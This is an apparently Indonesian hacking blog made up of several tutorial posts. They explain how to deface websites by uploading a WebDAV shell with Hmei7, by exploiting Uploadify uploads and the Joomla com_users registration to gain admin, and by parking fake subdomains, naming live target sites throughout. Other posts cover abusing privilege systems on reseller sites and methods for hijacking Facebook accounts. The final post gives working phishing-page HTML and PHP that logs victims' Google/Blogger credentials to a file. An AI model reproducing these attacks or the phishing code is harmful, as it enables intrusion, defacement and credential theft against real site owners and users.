Cara Bug Web Tools Wholes

Halo gan,jumpa lagi dengan saya yaitu Ray Faldo

Sebelumnya ane udah buat post tentang Cara Bobol Web Tools Cyber Joki,dan kali ini ane akan share tutorial Cara Bug Web Tools Wholes xD
Berbeda dengan trik kemaren,kali ini ane kasih nama triknya Inject Daftar :v (gua yang buat script kok :v Masalah buat elu :p :v )
Oke,gausah banyak bacod,silahkan kunjungin INI 
Cara menggunakan :
Hanya anda perlu memasukkan FB ID,password,level dan durasi.
Jika berhasil,maka anda akan di redirect ke website resmi Wholes. :v


For Admin Wholes :v
Need Help To Fixed This Bug ? :v

Contact me : Ray Faldo

Posted By Ray Faldo23.41

3

Continue Reading

Cara Bobol Web Tools Cyber-Joki

Bug Tools ini hanya bisa digunakan bila anda sudah terdaftar sebagai Reseller,Broker, atau Admin.

Cara kerja Bug ini :

Bila anda Reseller anda dapat menambah seseorang menjadi Broker atau Admin,bila tiket anda cukup.

Begitu juga dengan Broker dan Admin.

Berikut lebih jelasnya :

Reseller => Broker => Admin => Developers (Tiket harus cukup)

Broker => Admin => Developers (Tiket harus cukup)

Admin => Developers (Tiket harus cukup)

Nah,jadi walaupun anda reseller,broker atau admin,anda dapat menambah menjadi level atasan sesuai dengan kecukupan tiket kalian.

Bagaimana jika tidak ada tiket ?

Anda dapat menambahkan langsung menjadi Developer.

Mendaftar developer tidak diperlukannya tiket.

Namun bila menambah :

Reseller : 2 Tiket

Broker : 4 Tiket

Admin : 6 Tiket

Developer : 0 Tiket

Jadi bila anda tidak memiliki tiket,anda dapat langsung menambah sebagai Developer.

Namun belum tentu bug tools ini work.

Kenapa belum tentu work ?

Tools ini dibuat menggunakan fitur yang tersedia dari Cyber Joki sendiri.Jadi apabila keadaan di sana sudah di perbaiki,maka tools ini tidak akan work.

Saya sengaja memberi berapa pilihan Level,yaitu :

-Member

-Reseller

-Broker

-BR0K3R

-Developer

-Developers

Dikarenakan saya tidak tahu bagaimana keadaan disana.

Bila dugaan tools itu benar,maka data yang anda masukkan akan langsung terkirim ke database Cyber-Joki.

Cara Menggunakan :

Anda cukup memasukkn FB ID,Password,Level dan Durasi.

Untuk mengisi Level,silahkn di coba 1 per 1 pilihannya.

Mulai dari Member,Reseller,Admin,Broker,BR0K3R,Developer dan Developers.

Bila tepat,selamat anda akan diredirect langsung ke web Cyber Joki,dan mendapatkan pemberitahuan bahwa berhasilnya bug tersebut ^_^.

->Download<-
->Link Target<-

NB :

Script belum tentu work gan.

Ane ada nih,udah pasti work :D

www.yadiy.com/tambahmember.php

Tapi punya ane ga gratis :D

Punya ane berbayar.

Cuma 20K/Permanent. :D

Posted By Ray Faldo04.32

0

Continue Reading

Cara Deface Index Website dengan Webdav For Newbie

Udah lama nih sob saya nggak share tutorial hacking, kali ini saya mau share tutorial buat newbie, yaitu Cara Deface Index Website dengan Webdav, langsung aja yuk sob.

peralatan:

- Tool Webdav Hmei7: [ Download ]

step:

1. Buka tool webdav yang telah di download tadi, klik tab 'webdav' lalu pilih 'Asp shell maker'

2. Pada setting Name of Your Shell bisa diubah sesuka kamu sob, lalu klik add site lalu masukkan website target, disini saya menjadikan www.beijingcoal.com/ sebagai target

3. Lalu klik serang!! jika muncul tulisan 'shell created' berarti kita sukses menanam shell ke situs tersebut, namun jika yang muncul 'Not Vulnerable Dav' berarti sobat harus mencari target yang lain karena target sobat tidak vuln terhadap webdav

4. Sekarang kita check hasil shell yang telah tertanam tadi, perhatikan gambar pada step nomor 3 diatas, yang saya beri garis biru adalah letak shellnya, copy ke browser lalu buka link tersebut, contoh: http://www.beijingcoal.com/Hmei7.asp;.txt

5. Setelah masuk ke directory web tersebut silahkan cari file yang kemungkinan adalah index dari web tersebut

6. Stelah ketemu file yang berisi index lalu klik pada icon pensil disampingnya untuk mengedit, hapus semua scriptnya lalu tukar dengan script deface kalian sob, kemudian klik kaydet untuk menyimpan

7. Oke, script indexnya sudah saya ganti dengan script saya, dan sekarang saya akan mengakses http://www.beijingcoal.com/ untuk melihat hasilnya

oke, homepage / index website tersebut berhasil saya deface, jika sewaktu-waktu tampilan website tersebut telah kembali normal itu berarti adminnya telah memperbaiki website tersebut sob

oh iya tambahan lihat artikel berikut untuk mendapatkan daftar website yang bisa dijadikan target: 1000 Situs yang Vuln Terhadap Webdav

Sekian Tutorial Deface Index Website dengan Webdav ini, ini hanya untuk pelajaran dan jangan merusak website orang lain sob, saya tidak menanggung atas semua resiko yang terjadi pada anda.

 

 

Source

Posted By Ray Faldo10.30

2

Continue Reading

Cara Mudah Deface Dengan Upload Shell | Shell Upload Vulnerability

Assalamualaikum...

Salam Sejahtera bagi kita semua,,,

Okey sobat IDCA, masih bersama ane admin terbaik sejagad,, hajiahh :D yup, kali ini saatnya berbagi lagi... daripada ga ada kerjaan, mending bagi bagi ilmu aja :D

Pada tutorial ini sama dengan CSRF, cuma sedikit berbeda caranya saja, disini ane gunain OS Backtrack, ane udah coba pake Windows, tapi ribet!! >.< Silahkan sobatcoba2 aja gunain Windows OS, tapi kalo ada masalah nantinya  silahkan di solving sendiri yah.. wokwokwok :D

Bahan - Bahan :

1. Script Upload.php | Download

2. Google Dork: inurl:"/wp-content/themes/Brainstorm/"
 #Silahkan Dork dikembangkan lagi 

3. Live Target : Lihat1 & Lihat2


Note: "Tidak semua website bisa dengan teknik ini, harap selalu mencari dan mencoba! karena dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!"

Langkah - Langkah :

1. Pertama cari dulu target dengan menggunakan Dork..

2. Disini ane udah nemuin targetnya.. dan langsung aja cari upload.php nya

Penting! Kalo halaman menjadi kosong, ada kemungkinan exploit bisa dijalankan!

3. Sebelumnya letakkan file Uploadify.php dan Shell sobat di folder /var/www/

4. Lalu edit dulu Uploadify.php dengan Notepad, silahkan dirubah yg ane kasi tanda panah seperti Link target, nama file dan folder! Lalu Save kembali..

5. Selanjutnya Buka terminal dan jalankan Apache dengan ketikkan perintah: /etc/init.d/apache2 start lalu enter!

6. Kemudian ketik perintah berikut diterminal : cd /var/www/ lalu enter!! lalu ketik lagi perintah: php uploadify.php lalu enter! dan silahkan sobat tunggu hasilnya!

7. nah tuh, shell telah berhasil diupload ke web,, selanjutnya tinggal eksekusi shell dan Tebas index web.. wokwokwok :D

Note: Ga semua hasilnya sama begitu,, kalo ga nampil seperti gambar, silahkan sobat cari dimana letak shell sobat :D

Good Luck!!!!! :p

Content Created By Onix AQua



Source

Posted By Ray Faldo10.28

0

Continue Reading

Cara Deface Dengan Teknik Exploit Joomla | Com_User

Assalamualaikum....

ehm,, jumpa lagi nih dengan coretan2 semerawut ane tapi ngangenin untuk dibaca,, wkkwkwk yo dah, dah pasti pada ga sabar kan udah nunggu dari kemaren?? wkwkwk langsung daaahh :p

Silahkan tutorial ini di baca dulu baik2, dipahami dan dipelajari, baru dah sobat praktekin :p kalo seandainya gagal, itu karena website udah di patch :p

"Talk Less Do More!" :p

oke dah simak nih! sebelumnya download dulu bahan2nya :p

1. Download : Exploit Joomla.html    Password: Lihat

2. Titip Nama : Indonesian Cyber Army

UPDATE:

Ciri2 web yg vuln com_user, silahkan sobat check dulu login adminnya, jika seperti gambar dibawah, berarti web tersebut memungkinkan untuk bisa di exploitasi, selain itu tidak bisa...

Contoh :
http://troytradingint.com.pe/administrator/

bira lebih memudahkan sobat dalam mencari web target, silahkan gunakan Tool Scanner Com User

Demo:
http://troytradingint.com.pe/
http://www.uog.edu.pk/
http://www.trexperts.com/jeffreytmiller/

Note: "Tidak semua website bisa dengan teknik ini, harap selalu mencari dan mencoba! karena dalam dunia Hacking tidak ada yg instants dan bisa berhasil dengan mudah! Mereka yg berhasil adalah mereka yg selalu sabar berusaha dan terus mencoba!"

Langkah Langkah::

1. Cari web target di Google.com dengan memasukkan Dork berikut:

intext:Joomla! is a flexible and powerful platform, whether you are building a small site for yourself or a huge site with hundreds of thousands of visitors site:com

#Dork Kembangin Sendiri :p

2. Pilih target sobat, lalu masukin exploit berikut:

index.php?option=com_users&view=registration

3. Ane disini mengambil contoh:

http://mobile.resto-lincontournable.com/index.php/utiliser-joomla/utiliser-extensions/composants/composant-flux-rss/un-flux-rss

4. kemudian ane ganti menjadi:

http://mobile.resto-lincontournable.com/index.php?option=com_users&view=registration

5. Setelah itu klik kanan>klik View Page Source atau bisa juga tekan tombol keyboard CTRL+U

kalo sudah muncul page sourcenya, lalu tekan tombol CTRL+F atau klik menu Find ketik hidden. cari seperti kode berikut:

6. Copy kode tersebut, lalu buka Exploit Joomla.html yang udah sobat download tadi dengan Notepad, lalu pastekan kode tersebut, dan masukkan juga site target dan Email sobat! liat gambar !

Note: username, email, boleh diganti sesuka hati.

7. Lalu Save! Setelah itu buka file Exploit Joomla.html nya, Klik Register!

8. Setelah itu akan muncul peringatan bahwa password harus diisi sama! Masukkan password sobat!

9. Setelah password diisi, klik Register! lalu buka email sobat dan klik link Konfirmasinya!

10. Lalu masuk kehalaman admin login nya! 

http://mobile.resto-lincontournable.com/administrator

11. Masukkan Username & Passwordnya! lalu klik Login! kalo contoh disini:

Username:genesis
Password:onix

Tararaaaaaaaaaaaaaa!! Sobat masuk sebagai admin! trus tebas deh index nya :p Liat Cara Tebas Index

KALO GA BERHASIL LOGIN SEBAGAI ADMIN, SILAHKAN CARI TARGET LAINNYA!!

Goodluck!!! :p

udah gitu aja! Salam........ :p

Content Created By Onix AQua


Source

Posted By Ray Faldo09.32

2

Continue Reading

Cara Deface Website Dengan Fake Subdomain Part 2

Ini adalah cara kedua bro,silahkan baca dulu part yang pertama disini...
 -------------------------------------------------------------------------------------------------------------
Ane mau sharing cara deface subdomain, tapi fake untuk nubi aja.

Langsung aja tutornya dibawah ini


1. Buat Account hosting gratisan di http://idhostinger.com

2. Setelah udah buat Account, buat domain/hosting baru ente. Pilih Menu Hosting -> Pilih Tombol Buat Akun baru/New Account -> Pilih Yang gratis Order -> Buat Domain untuk ente

Spoilerfor Buat Domain Baru:

3. Setelah buat domain/hosting baru, Pergi ke http://www.yougetsignal.com/tools/we...on-web-server/

Masukan domain ente, contoh punya ane http://agarirs.hol.es/

nanti akan muncul web yang 1 server dengan domain ane

Spoilerfor Masukin Domain:

nah pilih target, contoh target ane http://gamehacksonline.com/

4. Setelah itu Masuk Ke Fitur Hosting yaitu Parked Domain atau Parkir Domain

Spoilerfor Parkir Domain:

nah masukan subdomain yang ente mau, contoh punya ane hacker.gamehacksonline.com

Setelah itu Klik Parked Domain

5. Setelah itu Masukan Ke File Manager ente, lalu buat sebuah File index.html terserah isinya mau script deface atau apa peace

6. Lalu lihat subdomain yang dibuat tadi.
hasilnya
http://hacker.gamehacksonline.com
Source : Kaskus

Posted By Ray Faldo02.31

0

Continue Reading

Cara Deface Website Dengan Fake Subdomain

Kita langsung ke triknya ya :v
1.Buka ini

2.Masukkan domain kamu,contoh: neveralonemci.hol.es

3.Pilih target,contoh saya memilih aiguapiscines.com dan acbmail.com.
4,Lalu buka idhostinger.com kalau belum punya akun,silahkan daftar.
5.Masuk ke menu parked domain/parkir domain
Lalu masukkan subdomain dari target kita tadi,misalnya acbmail.com masukkan jadi subdomain.acbmail.com,nah seperti ini :

Taraaa,selesai...
Berhasil,anda bisa lihat contohnya :
http://games.aiguapiscines.com/
http://buy.acbmail.com/
Kalau belum mengerti,silahkan comment...!!! ^_^


Semoga bermanfaat...!!! :)

Posted By Ray Faldo02.00

1

Continue Reading

Cara Deface Website 100% Work

Halo kak,ane masih newbie...
Kalau thread ane salah mohon di maklumi ya xD
Soalnya ane baru belajar depes 1 bulan yang lewat

Nah,kali ini ane mau kasih tahu Cara Depes Website Versi Newbie (Candyman).
Mudah2an aja bermanfaat
Nah,banyak tutor2 bertebaran di google,tapi satupun belum ada yang buat saya mengerti,dan banyak semua post yg bertebaran di google hampir semuanya sama,jadi di blog yg 1 saya tidak ngerti,pindah ke blog lain eh ternyata postnya sama
Kebetulan ada forum ini,dan ane belajar di sini,dan ane bisa
Makasih kaka
Yaudah deh langsung aja cekidot :
1.Download Hmei7 : http://www.ziddu.com/download/19666885/l...t.rar.html
2.Cari website yang vuln...
Contoh :
http://www.hotelnewtiffanyspark.com/
http://jsj.ahiec.net/
3.Kalau Hmei nya udah didownload,ikuti :





Mungkin udah tahu semua penggunaannya,nah skrg yang perlu anda ketahui...
1.Pertama klik add site
2.Masukan website yang mau anda pepes
3.Klik setting
4.Ganti shell sesuai yang anda mau
5.Nah,begini,jika website sangat vuln,maka anda tidak perlu merubahnya.
Biar kan saja seperti itu,jika berhasil nanti akan ada shell created...
Nah,coba cek,caranya copy link di bawah kata2 "Shel Created"
CoPas ke addres bar lalu enter,makan akan muncul seperti ini :

Nah,itu tandanya hampir sukses,anda hanya tinggal mengutak atik,contoh hapus folder index.hmtl.lalu ganti dengan shell punya anda untuk menebas index,tapi saya masih newbie,saya sendiri belum bisa menebas index website :v
Nah,kalau cuma muncul teks doang
mari kita buat dgn cara lainnya,cekidot :
1.Cari shell yang anda inginkan
2.Pada hmei7,klik load from file
3.Masukkan shell anda tadi
4.Lalu rename lah nama shellnya,contoh namanya : /Hmei7.asp;.txt ganti jadi /hacked.html
5.Klik add site lalu serang.
6.Jika berhasil maka akan ada muncul kata2 shell created,lalu copas link di bawahnya,silahkan di cek !
Maka hasilnya akan seperti ini :

http://www.hotelnewtiffanyspark.com/indeks.html


http://jsj.ahiec.net/indeks.html

Source

Posted By Ray Faldo23.56

1

Continue Reading

10 Cara Hack Facebook Terbaru 2013

Facebook merupakan situs jejaring sosial yang paling banyak digunakan di dunia dengan jumlah anggota aktif tahun 2011 sekitar 800 juta orang. Sedemikian banyak pemakainya sehingga merupakan target utama pembajak atau umum disebut hacker. Banyak cara untuk untuk membajak atau mengambil alih akun seseorang. Berikut ini daftar 10 cara membajak login Facebook sehingga Anda dapat lebih waspada.


1. Facebook Phishing
Phishing adalah cara yang paling popular untuk mendapatkan data login facebook seseorang. Ada beberapa serangan Phishing, yang paling sederhana adalah hacker membuat halaman untuk login facebook palsu yang penampilannya dibuat mirip dengan yang aslinya. Melalui halaman palsu itu korban akan memasukan “E-mail Address” dan “Password” yang tercatat dalam file txt . Data ini kemudian diambil oleh hacker untuk masuk ke halaman facebook korban dan mengganti passwordnya dengan yang baru.

2. Keylogging
Keylogging menggunakan sebuah program kecil yang diinstall di komputer korban. Progam ini akan mencatat semua yang diketik korban di komputernya, termasuk data login facebooknya. Catatan (log) tersebut dikirim balik ke penyerang melalui jalur FTP atau lewat e-mail hackers.

3. Stealers
Hampir 80% orang menggunakan password yang disimpan di browser untuk memudahkan login facebook. Ini memang memudahkan tetapi dapat berbahaya. Stealer adalah software yang dirancang untuk mengambil password yang tersimpan di browser korban.

4. Session Hijacking
Session Hijacking sangat efektif jika Anda akses facebook dengan koneksi standar (http://... ). Cara ini adalah dengan mencuri cookie browser korban yang digunakan untuk autentikasi pengguna pada suatu situs. Session Hijacking banyak digunakan pada jaringan local (LAN).

5. Sidejacking with Firesheep
Sidejacking adalah nama lain untuk http session hijacking yang dikhususkan untuk pengguna wifi. Untuk melakukan serangan Sidejacking, hacker banyak menggunakan software Firesheep. Tetapi Firesheep hanya bekerja jika penyerang dan korban berada dalam satu jaringan wifi yang sama.

6. Mobile Phone Hacking
Jutaan orang login facebook dari telpon bergeraknya (HP). Jika hacker bisa mengakses HP korban, kemungkinan besar para hacker ini dapat mengkases akun korbannya. Bisa juga menggunakan software untuk memonitor HP seperti “Mobile Spy” dan “Spy Phone Gold”.

7. DNS Spoofing
Jika penyerang dan korban berada dalam satu jaringan komputer, penyerang dapat menggunakan DNS spoofing atau pengalihan dari halaman facebook yang asli ke yang palsu milik hacker.

8. USB Hacking
Ini digunakan jika penyerang memiliki akses fisik ke komputer korban. Hacker akan memasukan peralatan USB yang sudah diprogram untuk secara otomatis mengambil password yang disimpan di browser.

9. Man In the Middle Attacks
Ini bisa terjadi jika korban dan hacker berada dalam satu jaringan lokal dan berbasis switch. Hacker akan menempatkan dirinya berada diantara korban dan server atau bertindak sebagai gateway sehingga bisa menangkap semua data yang lewat. Cara ini juga disebut dengan ARP Poisoning.

10. Botnet
Botnet sebetulnya tidak umum digunakan untuk membajak login facebook, karena biaya yang tinggi. Ini digunakan untuk serangan lebih canggih. Pada dasarnya ini merupakan kerjasama antara beberapa komputer. Proses infeksinya sama dengan keylogging. Botnet yang popular adalah “Spyeye” dan” Zeus”.


Itulah beberapa cara hack akun facebook terbaru 2013...

Posted By Ray Faldo23.57

0

Continue Reading

Cara Membuat Web Pishing

Web Pishing...???
Siapa sih yang gak kenal dengan namanya Web Phising,Web Phising adalah situs atau sebuah web yang isinya untuk memancing seseorang login di situs itu dan anda akan mendapatkan email dan passwordnya.
Web Phising mirip seperti Keylogger,tetapi Web Phising dengan situs web sedangkan keylogger dengan software.
Kalau mau lebih jelas silahkan searching di mbah google :D
Oke,kali ini saya akan share cara membuat web phising,saya harap anda menggunakannya dengan bijak !
1.Cari situs yang ingin anda phising misalnya blogger,lalu tekan CTRL+U
2.Copy semua kode yang ada disitu dan pastekan di notepad anda!
3.Lalu anda cari kode ini !

<form id="gaia_loginform" action="https://accounts.google.com/ServiceLoginAuth"method="post">

4.Ganti kode yang berwarna merah di atas dengan login .php dan ganti juga kode yang berwarna hijau di atas dengan get,contohnya seperti ini

<form id="gaia_loginform" action="login.php"method="get">

5.Lalu simpan notepad dan beri nama index.html
6.Buka notepad lagi,lalu copy dan pastekan kode di bawah ini di notepad anda dan simpan lalu beri nama login.php

<?php
header("Location: http://www.blogger.com/");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

7.Langkah selanjutnya anda login ke hostingan anda tapi kali ini saya menggunakan 000webhost
8.Jika sudah login,klik Go To CPanel

 

dan klik juga Another File Manager 

9.Nanti anda akan masuk ke File Manager,jika sudah masuk ke menu File Manager,klik public_html

lalu upload file yang index.html dan login.php yang tadi !

udah ke upload semuanya kan ?
oke,kalau udah ke upload hapus file default.php yang ada di public_html.
Nah...jadi deh web phising buatan anda,untuk melihat password korban caranya:
Coba anda login dulu ke web phising buatan anda tadi,anda isi email dengan "test" tanpa tanda petik

dan password terserah anda.Oke lalu reload menu public_html,jika sudah di reload akan muncul file otomatis yaitu password.php lalu download deh dengan cara klik 2 kali password.php itu,nah disitu deh ke simpan semua password korban.

10.Tinggal di share aja tuh web phising buatan anda.

Oke sekian postingan saya kali ini,semoga bermanfaat dan jangan lupa follow blog ini ya sobat.
Kalau anda masih belum mengerti jangan malu untuk bertanya !

 Warning...!!!
Semua gambar di atas asli dari webhostingan saya tanpa sedikit pun dapat dari google.
Gunakan trik ini dengan bijak !

Posted By Ray Faldo03.12

10

Continue Reading